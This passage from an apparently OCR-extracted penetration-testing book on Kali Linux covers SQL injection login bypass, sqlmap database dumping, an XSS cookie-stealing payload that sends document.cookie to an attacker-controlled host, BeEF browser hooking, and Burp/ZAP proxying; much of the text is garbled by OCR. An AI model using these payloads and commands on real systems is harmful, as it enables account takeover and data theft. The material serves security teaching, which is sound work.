should not be displaying. Sometimes this is as simple as the attacker asking for 
privileged information from the database management system. Other times, it is 

also take advantage of a vulnerability in the database management system that 
allows the attacker to view or write privileged commands to and from the database.

Attackers typically send malicious code through forms or other parts of a webpage 
that have the ability to accept user input. For example, an attacker may enter random 
characters, as well as long statements, with the goal of identifying weakness in how 

usernames up to 15 characters long, an error message may appear revealing details 

examine HTTP post information.
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DrChaos.com. Let's navigate to www.DrChaos.com using Firefox on our Kali 
server console and try to log into the website. First, we will try the username 
administrator and the password 12345 to login. You should see that will fail.

Now, navigate to the View menu bar in Firefox and select the HackBar menu. Click 
the Load URL button and click the Enable Post data button. You will see the URL we 
were logging into as well as the username and password we just attempted.
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We will now add a single quotation mark after the administrator username. Soon as 
we click on the Execute

adding an OR 1=1 ## statement at the end of  
the line.

Once we execute the code, we are logged on as administrator to www.drchaos.com.
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We have patched www.DrChaos.com so it is no longer vulnerable to this attack. 
 

give a web Penetration Tester an easy method to gain full access to a system.

W3 School of SQL 
at: http://www.w3schools.com/sql/sql_intro.asp.

sqlmap
sqlmap automates the process of 
taking over of database servers. sqlmap comes with a detection engine, as well as a 

system via out-of-band connections.

Features include support for common database management systems, support for 

others. sqlmap also supports database process' user privilege escalation using 
Metasploit's Meterpreter getsystem command.

sqlmap is a tool that can be used to exploit database servers and is built into Kali. To 

php in the URL.

Vulnerabilty Analysis | Database Assessment | 
sqlmap. A Terminal window will open displaying the sqlmap help page.

The basic syntax to use sqlmap is:

sqlmap –u URL -- function

A common function is dbs. The dbs keyword will have sqlmap get the databases.

sqlmap -u http://www.drchaous.com/article.php?id=5 --dbs

You can see from our results we have several databases that were found. For this 
example, we will concentrate on the test database.
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Once you have found a vulnerable web server, you select the database by using the 
–D command and the name of the database.

sqlmap –u http://www.drchaos.com/article.php?id=5 -D test  --tables

The table keyword is used to retrieve all the tables in the test database on our web 
server. We see we have successfully retrieved two tables, admin and content.

Once you issue the following command, sqlmap will display all tables:

sqlmap -u http://www.drchaous.com/article.php?id=5  -D test --tables

sqlmap -u http://www.drchaous.com/article.php?id=5  -T tablesnamehere 
--columns

If there is any relevant information in the tables, it can be retrieved using the 
following command:

sqlmap -u http://www.drchaous.com/article.php?id=5  -T tablesnamehere -U 
test --dump

-U test –dump

test, and dump all the raw information from the 
database table 
sensitive information.

Cross-site scripting (XSS)
Cross-site scripting (XSS) is a vulnerability found on web applications. XSS allows 
attackers to inject scripts into the website. These scripts can be used to manipulate 
the web server, or the clients connecting to the web server.

Cross-site scripting has accounted for a large majority of popular web-based attacks. 
Many times when my team is requested by customers to examine compromised 
web servers that have had data stolen, it has been a result of cross-site scripting. 
Cross-site scripting attacks have resulted in attackers defacing websites, distributing 
malware to clients, and stealing sensitive information from websites, such as credit 
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One method to check for cross-site scripting vulnerabilities is checking if an input 

CHAOS<script>alert('www.DrChaos.com')</script>

You could use the previous script to test any website however, we don't recommend 
inputting the string on every website you come across, as it could alert targets of your 
malicious intentions. If you chose to use a similar script for testing cross-site scripting, 
make sure to use another website other than www.DrChaos.com in the script.

Testing cross-site scripting
Google has created the Gruyere project as a means to test web application exploits 
and defenses .The Gruyere project website has several vulnerabilities embedded 
into it, including XSS. You can run your own Gruyere project online, or you can 
download it to a local machine for your testing.

Once we were logged into our own instance of Gruyere, we were able to copy the 
Submit button. The 

following screenshot shows the Gruyere home page with the CHAOS script displayed.

CHAOS<script>alert('www.DrChaos.com')</script>
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Once we ran the XSS script in the username 
displayed on the website. At this point, we were able to generate a pop-up alert 
anytime the username was seen on the website.

In addition, http://xss.progphp.com/ is another popular site to test XSS attacks 
and scripts. You can take several scripts and input them into the website to see how 
XSS interacts with websites and your own web browser safely.

XSS cookie stealing / Authentication 
hijacking
Script kiddies may use XSS for generating pop-up alerts however, as a professional 
Penetration Tester, the real value of XSS is to gain privileged access to a system.  
The next section will examine how to do this. If you have not done so already, create 
your own Gruyere instance online for testing the next section's concepts.

Navigate to http://google-gruyere.appspot.com/start. App Engine will start  
a new instance of Gruyere for you, assign it a unique ID and redirect you to  
http://google-gruyere.appspot.com/123456/ (where 123456 is the unique  
ID for this example).

Each instance of Gruyere is completely isolated from any other instances, so your 
instance won't be affected by anyone else using Gruyere. You'll need to use your 
unique ID instead of 123456 in all the examples.

If you want to share your work and project you complete in Gruyere with someone 
else (for example, to show them a successful attack), just share the full URL with 
your friend including your unique ID.

Do not use the same password for your Gruyere account as you use for any real service.

Let's walk through an example of using a XSS vulnerability to steal a session cookie. 
If you try this technique on a local network, your Kali box and vulnerable web server 
must be able to communicate. Because we are using Gruyere project, we needed to 
put our Kali Linux box on the Internet with a public facing IP address, so Kali Linux 
can properly communicate with the target Gruyere server.

http://itbookshub.com
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Normally, giving Kali Linux a public IP address is really a bad 

having Kali Linux exposed to remote attackers.

When you log into Gruyere, create a username by clicking on the Sign up button  
on the upper-right hand screen, as shown in the following screenshot:

TheDude. Next, we go to the snippet 
section and create a new snippet. We will enter a XSS script here as shown in the 
following screenshot:

We know Gruyere has XSS vulnerabilities built into it, and therefore we are using 

website to test if it's vulnerable to XSS. For example, if we knew Facebook was 
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Home Sign in I Sign up

T Gruyere: Sign up

Sign up for a new account.

User name: |

Password:
S

WARNING: Gruyere is not secure.
Do not use a password that you use for any real service.
Do not upload any personal or private data.

Create account |

j_I

Add a new snippet.

<script>document.write("<img
src='http://kali.drchaos.com/vai7www/xss_Iab/lab_script.php?"+docu
ment.cookie+'">”)</script>

Submit|Limited HTML is now supported in snippets (e.g., <b>,
<z>, etc.)!
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Facebook is not exploitable using this attack. It is just a hypothetical example.

We entered the following code:

<script>document.write("<img src='http://kali.drchaos.com/var/www/xss_
lab/lab_script.php?"+document.cookie+"'>")</script>

Although words may wrap around as you type the command, it needs 
to be a single line command.

This is just one of many scripts that could be used to exploit a vulnerable system. 
The focus of this book is leveraging tools available in Kali Linux; however, the best 
Penetration Testers use a variation of industry-available tools like Kali Linux, and 
custom tools, such as XSS scripts to breach targets. We suggest researching this topic 
and testing new scripts against your Gruyere example target to master the ability to 
build and execute custom script attacks.

Other tools
Here are some other tools that follow this chatper's theme and available in Kali 
Linux:

urlsnarf
urlsnarf is a tool that outputs all 

 (  
post processing with your favorite web log analysis tool (analog, wwwstat, and  
so on).

To access urlsnarf, navigate to /  | Network Sniffers and  
select urlsnarf. A Terminal will pop up showcasing use options as shown in  
the following screenshot:

To use urlsnarf, type urlsnarf –i and the interface you want to monitor. urlsnarf 
will display it's listening. This following screenshot shows urlsnarf listing to eth0:

http://itbookshub.com

[su ]

nroot@kali:"

File Edit View Search Terminal Help

Version: 2.4
Usage: urlsnarf [ -n] [-i interface | -p pcapfile] [[-v] pattern [expression]]
root@kali:~#|
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urlsnarf will display a dump of any URL request seen on the wire. For example, 
a windows user accesses www.thesecurityblogger.com. The URL requests are 
displayed in urlsnarf for future use.

acccheck
acccheck is a password dictionary attack tool that targets windows authentication 
using the SMB protocol. acccheck is a wrapper script around the smbclient binary, 
and, as a result, is dependent on it for its execution.

hexinject
hexinject is a versatile packet injector and sniffer that provides a command-line 
framework for raw network access. hexinject is designed to work together with other 
command-line utilities, and for this reason it facilitates the creation of powerful 

a transparent manner. hexinject can inject anything into the network, as well as 

http://itbookshub.com

Usage: urlsnarf [-n] [ -i interface | -p pcapfile] [ [ -v] pattern [expression]]
root@kali:~# urlsnarf -i eth0
urlsnarf: listening on ethO [tcp port 80 or port 8080 or port 3128]

172.16.76.128 - - [ 13/May/2013:10:12:38 -0400] "GET http : //download .windowsupdat
e .com/v9/l/windowsupdate/b/selfupdate/WSUS3/x86/0ther/wsus3setup .cab?130608Q333

HTTP/1.1"
172.16.76.128 - - [ 13/May/2013:10:12 :50 -0400] "GET http ://www. thesecuritybloggc
r.com/ HTTP/1.1"
, like Gecko) Chrome/27.0.1453.94 Safari/537.36"
172.16.76.128 - - [13/May/2013:10:12:52 -0400] "GET http://www.thesecuritybloggc
r.com/wp-content /pi ugins/gd -sta r- rat ing/css/gdsr.css .php?t=l35628524 I&s=a05i05m2
0k20c05r05%23121620243046%23121620243240%23slpchristmas%23slpc rystal%23slpdarkn€
ss%23slpoxygen%23slgoxygen_gif%23slpplain%23slppumpkin%23slpsoft%23slpstar ratine
%23s1psta rscape%23t1pciassical%23t1psta r rat ing%23t1gsta r rat ing_gif %231sgf1owe r&c
=off&ver=l .9.22 HTTP/1 .1" - - "http://www.thesecurityblogger.com/" "Mozilla/5.0
(Windows NT 5.1) AppleWebKit/537 .36 (KHTML, like Gecko) Chrome/27.0.1453.94 Safe
ri/537.36"
172.16.76.128

"Windows -Update-Agent "

"-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537 .36 (KHTML

- [13/May/2013:10:12:52 -0400] "GET http://www.thesecurityblogg€
r.com/wp-content/plugins/captcha/css/style.css?ver=3.5.1 HTTP/1.1" - - "http://v»
ww.thesecurityblogger.com/" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537 .36 (Kh

TML, like Gecko) Chrome/27.0.1453.94 Safari/537.36"
172.16.76.128 - - [ 13/May/2013:10:12:52 -0400] "GET http://stats.wordpress.eom/c
-201323. js HTTP/1.1" - - 1

ows NT 5.1) AppleWebKit/53
"http://www.thesecurityblogger.com/" 1

37.36 (KHTML, like Gecko) Chrome/27ÿ,
"Mozilla/5.0 (Wine

.1453.94 Safari/53
.36"

172.16.76.128
tion.com/pagead/show_ads.js HTTP/1.1" - - "http://www.thesecurityblogger.com/" "|

[ 13/May/2013:10:12:52 -0400] "GET http://pagead2 .googlesyndicd
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Patator
Patator is a multi-purpose brute force 
usage. Patator's capabilities include brute-forcing FTP, SSH, Telnet, SMTP, HTTP/

DBPwAudit performs online audits of password quality for several database 
engines. The application is designed to allow for adding additional database drivers 
by copying new JDBC drivers to the JDBC directory.

Summary
Compromising authentication permits an attacker to pose as an authorized person. 
This can be useful when Penetration Testing web applications, because having 
authorized access means bypassing most traditional security defenses.

Chapter 5, Attacking Authentication, focused on attacking how users and systems 
authenticate. We started off by providing an overview of the different methods used 

authentication sessions. Next, we evaluated how session data is stored in a user's 
browser by compromising cookie management. We then covered how to capture 
authentication sessions by hiding between targets using various forms of man-in-the-

The next chapter will cover remote or web-based attacks on servers and clients.
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Web Attacks
The focus of this chapter will be on Internet-based attacks. Security administrators 
for organizations are aware that there are malicious parties on the Internet, 
continuously looking for ways to penetrate any network they come across and in 
defense, administrators have security measures in place. Common defenses include 
Firewalls, IPS/IDS, host-based security products, such as Anti-Virus, Content Filters, 

sophisticated nowadays, with the ability to circumvent commercial off the shelf or 
"COTS" security solutions. The tools covered in this chapter will include methods in 
Kali Linux, used to bypass standard security defenses from a remote location.

This chapter wraps up the Penetration Tester's attack arsenal. After reviewing material 
covered in previous chapters, you should understand how to conduct reconnaissance 
on a target, identify server-and client-side vulnerabilities, and techniques used for 

applications as a front end. In addition, we will explore how to take advantage of the 
web server itself and compromise web applications using exploits, such as browser 
exploitation attacks, proxy attacks, and password harvesting. We will also cover 
methods to interrupt services using denial of service techniques.

http://itbookshub.com
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Browser vulnerabilities can be exploited by malicious software to manipulate the 
expected behavior of a browser. These vulnerabilities are a popular attack vector, 
because most host systems leverage some form of Internet browser software. Let's 
take a look at a popular tool developed to exploit browser vulnerabilities.

There are many cool Penetration Testing applications that should be included in 
your hacking arsenal, such as one of our favorites known as Browser Exploitation 

 ( ). BeEF is a browser-based exploit package that "hooks" one or more 
browsers as beachheads for launching attacks. A user can be hooked by accessing a 

to the user's session. BeEF bypasses network security appliances and host–based, anti-
virus applications by targeting the vulnerabilities found in common browsers, such as 
Internet Explorer and Firefox.

BeEF is not included with the 1.0 release of Kali Linux, but can be found at 
beefproject.com. We expect BeEF to be added into a future release of Kali  
Linux based on its popularity in the Penetration Testing community.

To install BeEF, open a command terminal on Kali Linux as a root user and issue  
the following commands:

apt-get update

apt-get install beef-xss

apt-get update command. In most cases, you can just accept the default prompts. 
When the update process is completed, you may use apt-get to install BeEF:

Once the process is complete, you will have BeEF installed on Kali Linux.

http://itbookshub.com

li:~# apt -get update|

root(akali:~# apt-get install beef-xss
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To start BeEF, navigate to /usr/share/beef-xss directory and type ./beef to start 
the BeEF server. Once BeEF starts, the URLs to manage BeEF and hook victims will 
be displayed in the terminal window:

To access the administration server, open a web browser and go to the /ui/panel 
URL. When tricking a victim into being hooked by BeEF, redirect the victims to the 
BeEF server hook URL listed as hook.js. You will need to develop a strategy to get 
the victims to access your hook URL, such as a phishing or social engineering attack, 
which redirects users to BeEF.

http://itbookshub.com

root@kali: /usr/share/beef-xss

File Edit View Search Terminal Help

oot@kali: /usr/share/beef-xss# pwd
usr/sha re/beef -xss
oot@kali: /usr/share/beef-xss# ./beef
1:31:02] [*] Bind socket [imapeudoral] listening on [0.0.0.0:2000].
1:31:02] Browser Exploitation Framework (BeEF) 0.4.4.5-alpha
1:31:02]
1:31:02]
1:31:02]
1:31:02]

Twit: @beefproject
Site: http://beefproject.com
Blog: http://blog.beef project .com

|_ Wiki: https://github.com/beefproject/beef/wiki
1:31:02] [ ] Project Creator:

I

I

(@WadeAlcorn)
1:31:02] [ 41 ] BeEF is loading. Wait a few seconds...
1:31:02] [ ] 10 extensions enabled.
1:31:02] [ * ] 171 modules enabled.
1:31:02] [ * ] 2 network interfaces were detected.
1:31:©2][+] running on network interface: 127.0.0.1
1:31:02]
1:31:02]
1:31:02][+] running on network interface: 172.16.86.144
1:31:02] | Hook URL: http://172.16 .86.144 :3000/hook . j s
1:31:02] |_ UI URL: http -86 .144 :3000/ui/panel
1:31:02] RESTful API key: af26cada016e8d7e0ad54a8d980080a3348d8c44
1:31:02] *] HTTP Proxy: http://i2W}.0.lU6789
1:31:02] BeEF server started (press control+c to stop)

Hook URL: http://127.0.0.1:3O00/hook.js
|_ UI URL:

I
http://127.0.0.1:3000/ui/panel

I

i
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In this example, we will go to: http://172.16.86.144:3000/ui/panel.The default 
username and password are both beef.

When a victim clicks on or is redirected to the "hook.js" website, the attacker on the 
BeEF server will see the hooked browser. BeEF will add the new system to a list of 

vulnerable to attack once they reconnect to the Internet regardless if they access 
the hook link prior to re-using the internet. The next screenshot shows BeEF's main 
dashboard and options available to launch against a hooked system:

http://itbookshub.com
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The previous example shows a hooked Windows laptop. BeEF can reveal the details, 

scripts, whether Java is enabled, and other useful information. The attacker can 
execute commands on hooked machines, such as make a sound chime, grab session 
cookies, capture screen shots, log keystrokes, and even use the hooked browser as 
a proxy to attack other systems. Another example is having the hooked system log 
into Facebook and using BeEF to capture the session cookie. An attacker can reply 
to the authenticated session and have full access to the victim's Facebook account. 
The possibilities for evil and destruction are endless. This beachhead could allow an 
attacker unfettered access to the user's browser and all information that is needed to 
access it.

BeEF provides the details of the hooked systems and logs the commands that are 
executed. Both details of individual hosts and successfully executed command log 

http://itbookshub.com

Details Logs Commands Rider XssRays Ipec

Type Event

Event 0.003s - [Focus] Browser has regained focus.

3.769s - [Blur] Browser has lost focus.

127.0.0.1just joined the horde from the domain: 127.0.0.1:3000

Event

Zomhie

Hooked Browsers
a 0)Online Browsers

a 0)127.0.0.1

? ft M 127.0.0.1

OOffline Browsers

Getting Started x Logs Current Browser

Details Logs Commands Rider XssRays Ipec

S Category: Browser (13 Items)

Browser Name: UNKNOWN

Browser Version: UNKNOWN

Browser UA String: Mozilla/5.0 (Xll; Linux i686; rv:21.0) Gecko/201Q0101Firefox/21.0

Browser Plugins: Gnome Shell Integration

Window Size: Width: 994, Height: 510

Java Enabled: No

VBScript Enabled: No

Has Flash: Yes

Has GoogleGears: No

Has WebSockets: Yes

Has ActiveX: No

Session Cookies: Yes

Persistent Cookies: Yes

Category: Hooked Page (5 Items)
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ensuring that all browser-based software is updated with the latest versions and 
security patches, along with disabling the browser from running Flash and Java. In 
addition, security solutions that can detect common application-based threats such 
as Next Generation Intrusion Prevention Systems (NGIPS) can provide an extra 
layer of security. The majority of victims to penetration tools such as BeEF are users 
who click links included in emails or social media guests posing as a trusted party 
sharing things wrapped with malicious links/software/code and so on.

If you plan on using proxies for testing web applications such as Zed Attack Proxy 
(ZAP) or BURP, you may want to use the Firefox plugin  to simplify 
switching between, as well as enabling Proxy usage. FoxyProxy is a Firefox extension 
that lets you to easily manage, change, enable, or disable proxy settings on Firefox. 
You can download FoxyProxy from the Firefox add-on library.

Once FoxyProxy is installed, there will be an icon added on at the top of the Firefox 
browser window. Click on that to open the FoxyProxy options dialog:

http://itbookshub.com
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PROXY

<? lfi®l I Co
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In order to add a proxy to FoxyProxy, do as following:

1.	 Click on the Add New Proxy button, and a new window will open.
2.	 Select .
3.	 Enter the IP or Host address and the port number of the proxy server.
4.	 Click on  to save the new proxy.

stated  in the upper tab. To use a proxy, click the tab 
and change it to your desired proxy. This feature makes it easy to switch between or 
disable proxies in Firefox quickly:

http://itbookshub.com

e o o FoxyProxy Standard

3Select Mode: Completely disable FoxyProxy

Logging5 Proxies gg Proxy Subscriptions < Pattern Subscriptions ($ Global Settings 6 QuickAdd f AutoAdd

Enabled Color Proxy Name Proxy Notes Move Up

Move Down

Default These are the settings that are used...

Add New Proxy

$Edit Selection

ACopy Selection

Delete Selection

| y Please Donate | | Get FoxyProxy Plus | |Q Buy Proxy Service ) [ FoxyProxy for Chrome | Close

©Manual Proxy Configuration

Help! Where are settings for HTTP. SSL. FTP. Gopher, and SOCKS?

Host or IP Address 127.0.0.1 Port 8080

SOCKS proxy? SOCKS v4/4a •SOCKS v5

e o o FoxyProxy Stanc

Select Mode: Completely d sable FoxyProxy

Use proxies based on their pre-defined patterns and priorities

Use proxy "127.0.0.1:8080" for all URLs

Use proxy "Default" for all URLs

5 Proxie

Fnnhled
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Burp Proxy is a tool that intercepts 

a client and a web server. Burp Proxy is very popular because of its ability to not 

Burp Proxy is used to manipulate, reply, and steal authentication.

It is important to remember that Burp Proxy is actually a part of Burp Suite, which is 
a collection of tools. When a user enters a URL in their web browser such as http://
www.DrChaos.com, they expect to be directed to the website. A proxy server will 
intercept that request and send it on behalf of a client. Proxy servers are usually 

the request, or manipulate it:

Ask Bob what
the current time is

What is
the current time

Bob says the
time is 7pm

The time
is 7pm

Alice Proxy Bob

To launch Burp Suite, simply navigate to: Kali |  | Web Sniffers 
and select Burp Suite.

http://itbookshub.com
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Once Burp Suite is launched, you will be presented with the Burp launch dashboard:

Proxy tab. By default, the Intercept button is selected 
in this tab. When the Intercept option is enabled, Burp stops all requests from a 
web browser to the web server. The feature allows a Penetration Tester the ability to 
examine a connection. The Penetration Tester can manually allow the connection to 
continue once it's viewed.

The Intercept button requires manual intervention, or the request will 
never make it to the web server.

 submenu. This section will 
allow users to check or change the default port on which Burp is running, as well as 

loopback interface, as shown in the following screenshot. A loopback interface is a 
special interface that usually has the IP address of 127.0.0.1 associated with it. It does 
not have a physical hardware connection tied to it, but is a way for the operating 
system to reference itself. In other words, when you want to communicate with 
yourself in networking, you could use a loopback. If you plan on testing Burp Suite 
beyond the local machine, you should add your Ethernet interface and IP address.

http://itbookshub.com

Burp Suite Free Edition vl.5 I

Burp Irt'bd* Repeater Wndon Help

J 'arget | Pro«y ] Sprder | [ Intruder 1 Repeater I Sequencer I Decoder I Comparer T Options AlertsSearner

_| Site map|Scope |

(!)Fkec Htdng not found term. hiAng CSS. image and general bnary content; hidng 4.K reipertee* hdng empty folders

farami Ste.. a Length MiMfc type I tieMethod URLHoet

Fi\ T

Request
{

Resporse |

Raw H«

A

r

LDLiji_uliJ 0 matches

]<s*
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We will use the loopback interface for our example:

Burp Suite. All browsers have a 
similar way of using a proxy server. In the next example, we have depicted the 

For the following example, we will go to a URL, such as www.DrChaos.com in 
Firefox. You will notice that nothing happens. This is because the Intercept feature 
is enabled by default, as we discussed earlier. You can now see the Intercept tab in 
Burp has changed colors to indicate a new request has been intercepted.

http://itbookshub.com

| Intercept T History T Options 1

Proxy Listeners

Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your

, Add Running Interface Invisible Redirect C ertificate

a Per-host127.0.0.1:8080
Edit

Remove

Connection Setting*

Configure Proxies to Access the Internet

O No proxy

C Auto-detec t proxy settings for this network

C yse system proxy settings

(•Manual proxy configuration:

Port:

Use this proxy server for atl protocots

HTTP Proxy 127.0 01 8080

o1PgrtSSL Proxy.

0FTP Proxy Port

IBSOCKS Host: Port

SOCKS v4 •SOCKS v5

No Proxy for

locathost. 127.0.01

Example mozillaorg. net.nz, 192.168.1.0/24

Automatic proxy configuration URL

Cancel OKHelp
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When you click on the Intercept tab, you will see the exact nature of the request.  
You can now click on  or Drop  
from continuing:

When you click on the  button, you will see the request continuing  
to the server, as well as the response from the server. Also, you should see the 
webpage successfully loaded in the web browser. Some web pages have multiple 
components, so you may need to select the  button multiple times before 
the web page loads.

Another cool feature is Burp Spider. Burp Spider offers a way of mapping web 
applications in an automated fashion. How Burp Spider  
setup Burp to proxy your Internet usage, as we had explained earlier. Next, you 
enable Burp Spider, and while it is running, Burp will map all the requests and  

To use the Spider, click the Spider
Click on the Spider is paused button to change the status to Spider is running:

http://itbookshub.com

j Intruder I Repeater | Sequencer 1 Decoder T Comparer Options 1 AlertsTarget \ ] Sp*der Scanner

| History 1 Options I

Request to http://vmw.drchaos,com;80 [50.87.145.132]

Intercept is on ActionForward Drop

Raw ] Params i Headers Hex

GET /HTTP/1.1
Host: www.drchaos.com
Jser-Agent: Mozilla/5.0 (XI1; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 lceweasel/18.0.1
Accept: text/html.application/xhtml+xml.application/xrnl;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: _qca=P0-886080433-1368803092505; _atuvc=3%7C20
Connection: keep-alive

Buip Ini ruder Repeater Window Help

( Target ] J Spider|Scanner | Intruder|Repeater ] Sequencer | Decoder J Comparer ] Options ] Alerts |

j Control"] Options |

|7j Spider Status

Use these settings to monitor and control Burp Spider. To begin spidering. browse to the target application, then right-click one or more nodes in the target site map. and
choose *Spidcr this host / branch*.

Spider is paused Clear queues

Requests made 0

Bytes transferred: 0

Requests queued 0

Forms queued 0

gj Spider Scope

lei Use suite scope Idchned m Target tab]

O Use custom scope
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Burp maps all requests seen by the proxy under the Target tab. Click on the Target 
tab to see what has been captured. There will be a list of targets that are being used 
on the proxy. URLs that are in gray means that you have not directly browsed those 
targets, while URLs in black are sites to which you have explicitly browsed to:

To use the Spider function, right-click on a target and select Spider this host:
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| Target|Proxy|Spider [ Scanner | Intruder | Repeater | Sequencer | Decoder |Comparer ] Option* j Alerts |

j Site map ] Scope |

Filter Hiding not found itcmi. hiding CSS. inuge and general binary content, hiding 4xx responses, hiding empty folders

fi https //apis google.com
hop //ct l Jddthis.com
hop / /delicious com
http //digg.com
http //edqc

http / /edge.Quantserve.com

http //feedburner google.com

http //feeds feedburnet com
http //frlendfeed com
http //getfoxyproxy-org
Imp llgmpg org
http //htmiSthrv googiecode com
http //nvaddthis.com
http ZZplatform.twtter.com

0 https //plus.google.com
http ZZs.gravatar.com
http ZZsO.nvp.com

http ZZs7addthls.com
H https //secure
http i /secure hostgator com

» http ZZstaticakTbcdn.net
http ZZstats Mordpress.com

http ZZthemes.googleusercontent.com
http / /twiner com
0 https // twtter.com

Method URL Pararm Status a Length kdME type TitleHost

http //wMwr.drchaos.C— GET
http / wMwdrchjos e_ GET
http / . www drehaos c._ GET
http //wwwdrchaos.c._ GET
hnp //www.drchaos.c_ GET
hnp //www drehaos c_ GET
http // www.drchaos.C~ GET
http //www.drchaos.c_ GET
http //www.drchaos.c~. GET
hnp //wwwdrchaosx- CET
http //www.drchaosx- GET

r«i -

200 76990 HTML
45716 HTML

Or. Chaos

About Mr A
/
/about-me/
/favicon ico

/ wp includes /js/com...

/ wp-content/ plugins /„

/wp-content/themes/_

/wp-content/themes/_

/wp content/themes/_

/wp-content/themes /_

/wp-content/ihemes/_.

/wp-content/themes/_.

U 200
200 242
200 1040 script

script3) 304 137
304 137

Q 304 137
304 137
304 137
304 137
304 137

7 *

| Request|Response |

j Raw|Patamt { Headers j Hex )
GET / HTTP/1.1
Host: wtnr.drchaos.com
User-Agent: Motilla/S.O (Macintosh; Intel Mac OS X 10.8; rv:21.0)

Gecko/ 20100101 Flrefox/21.0
Accept: text/html, appl icat ion/xhtml+xml ,appl icat ion/xml ;q-0 .9, »/•;q-0 .8
Accept-Language: en-US,en;q-0.5
Accept -Encoding: grip, deflate
Cookie:

_
atuvc-2\7C2432C U7C25%2C137C26;

_
qca-P0-2062698058-137084 5566215_ . Connection: keep-alive

I Cache-Control: max-age-0

http /IwpmtB
hnp //wmwralrchaos.com
hnp //www facebook.com
http //wwwreddit com
http //www.stumbteupon com
http II www w3 org

L'OLLCCI: 1.0.ni
http7/www.drch4D5.GSinn
http:f/.ww.fj.ci booLcom
ih.ltp / /wvvvY.rcddfi.'Ogm

H.ttp Z/rtvivy itunib!?upon.com
hllp.f t-iWlYf.w'i.OtQ

hup i ( wAW.dr chaos,e om,i

Add to scope

Spider this licit
Actively scan lhi5 host

n thiii ke'ft

Engagement tools [Pro version only]

Compare site maps

Expand branch

Expand icqudstud items

Delete host

Copy URLs MI th is host
Copy Units m this hern
Save selected hems

Site map help

Pas 5 r
_

Lr

www.freepdf-books.com



Chapter 6

[ 223 ]

When you go to the Spider tab in Burp, you will notice the Spider Status counts 
have changed from 0 to an accumulating number:

what else it can spider on pages 
past the forms:

http://itbookshub.com

(?j Spider Status

Use these settings to monitor and control Burp Spider. To begin spidering, browse to the target application, then right-click one or more nodes in the target site map. and
choose "Spider this host / branch*.

Spider is running Clear queues

Requests made 627

Bytes transferred 23.833.252
Requests queued 3.237

Forms queued 0

e n o Burp Spider - Submit Form

Burp Spider needs your guidance to submit a login form. Please choose the value of each form field which should be used when
submitting the form. You can control how Burp handles forms in the Spider options tab.

Action URL http //www.drchaos.com/wp-login.php

Method POST

Value

forever

Type

Checkbox
Hidden
Password
Submit
Hidden
Text

Name

remembermc
testcookie
pwd

1
MyPasswordl

wp-submit-Log In
http // www.drchaos.com/wp-admin/redirect_to

log

L Submit form J Ignore form
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When the Spider process is complete, go back to Targets
originally selected to spider. Click on the triangle next to the host to expand it. You 
will see all the spider results under your original target:

Burp shows all pages and links that the Spider process has captured. In addition, it 
will capture the root directory, web page styles, sub-folders, and Java scripts. The 
next example shows multiple, captured sub-folders on the site www.Drchaos.com.

http://itbookshub.com

http://www.cloudcentrics.com

http://wvw.drchaos.com

»ÿ
c
c
r

4-reasons-not-to-use-mod_security
802-lx-as-a-government-standard

802-lx-challenges-for-the-department-of-i
aamir-lakhani-talks-about-byod

about-me
about-us
alrcady-in-the-doud-is-it-too-latc-to-secui
asa-scripted-install
author
basic-man-in-the-middle-attack-demo
beefjntr
brcach-identificd-ncxt-steps
brcaking-wpa2-psk-with-kali
byo-destruction
byod-opens-doors-for-employers-employe<
category

cisco-content-security-cx-and-ironport
cisco-cyber-solutions

cisco-ise-l-0-4-ovcrview
continuousmonitoring

creating-custom-certificate-signing-request
data-backup-in-2013-tips-for-smb-cloud-s
defending-against-google-hacking-know-wi

disaster-at-hand-what-does-it-mean
dissecting-the-meraki-doud

ditch-the-moving-parts
ensuring-your-emails-dont-lead-to-a-majoi
everyone-is-going-mobile

feed
focajntro
goin-mobile-making-your-site-faster-for-m
great-reasons-to-adopt-erp-solutions-on-t
hacking9-magazine-nmap-guide

how-to-crack-passwords
how-to-educate-your-employees-about-soc

how-to-hack-and-elevator
implementing-scap-for-the-enterprise-and-
installing-vmware-tools-on-kali-linux
introduction-to-doud-marketing
iphone_sms_dump_demo_

c
c
c

»c
c
c
c
c
r
n
c
r
c
c
c
c
c
rr
t-c
c
c
c
c
c
c
c

c
c
c
c
c
c
c
r
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 bar on top of the page.  
When you click on the  button, it will expand out the options available to  

The Spider option in Burp allows a web Penetration Tester to view how a web 
 

those links lead. An analogy of this concept is being in a room with many doors  
and having the ability to explore each door simultaneously.

ZAP is an easy-to–use, integrated 
vulnerabilities in web applications. We provided a brief overview of how to use  
ZAP in Chapter 3 regarding scanning a target for possible vulnerabilities. Let's  
revisit ZAP for identifying and exploiting cross-site scripting (commonly referred  
to as XSS) vulnerabilities.

ZAP comes built into Kali Linux 1.0, and can be found under  | 
Web Sniffers and selecting  or simply opening a terminal window  
and typing in zap, as shown in the following example:

http://itbookshub.com

Burp Intruder Repeater Window Help

J Target ] Proxy |Spider |Scanner ] Intruder |Repeater j Sequencer|Decoder | Comparer|Optlom [

j Site nupj Scope|

0F.lter Hiding not found Items, hiding CSS, image and general binary content, hiding 4xx responses hiding empty folders

h MIME type Title
filter by request type filter by MIME type filter by status code

S) 2xx (success]

[£ 3xx (redirection]

(j 4xx (request error]

B) Sxx (server errorj

folders
1 HTW. 4 reasons not

XMLQ Sho*only m-scope items

Q Shot* only requested Items

U Shot* only parameterised requests

81 Hide not-found Items

BJ HTML

Bi Script

Bi XML

css

BI other text

Q Images

B! Flash

Other binary

BI H*de empty folders© HTML

filter by search term |Pro only] filter by file extension filter by annotation

Show only asp.aspxjsp.php U Show only commented items

Show only highlighted items
*

u Hide jsÿdJpg.png.ess

Show all | Hide all , a

root@kali:~# zap
Using Java version: 1.7.0_03
Available memory: 755 MB
Setting jvm heap size: -Xmxl28m
158 [main] INFO org .zaproxy .zap .ZAP
Jun 20, 2013 11:10:50 PM j ava .util .prefs .FileSystemPreferences$l run
INFO: Created user preferences directory._

OWASP ZAP 2.1.0 started.
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Here is a summary of setting up ZAP with Firefox, as explained in Chapter 3:

1.	 Accept the user agreement.
2.	
3.	

Preferences | Advanced and selecting the Encryption subtab.
4.	 Click on 
5.	
6.	 Setup your Internet browser to use ZAP as the default proxy. In Firefox,  

this is found under Preferences | Advanced | Network.
7.	 Enter the proxy server localhost and port number 8080, which is the 

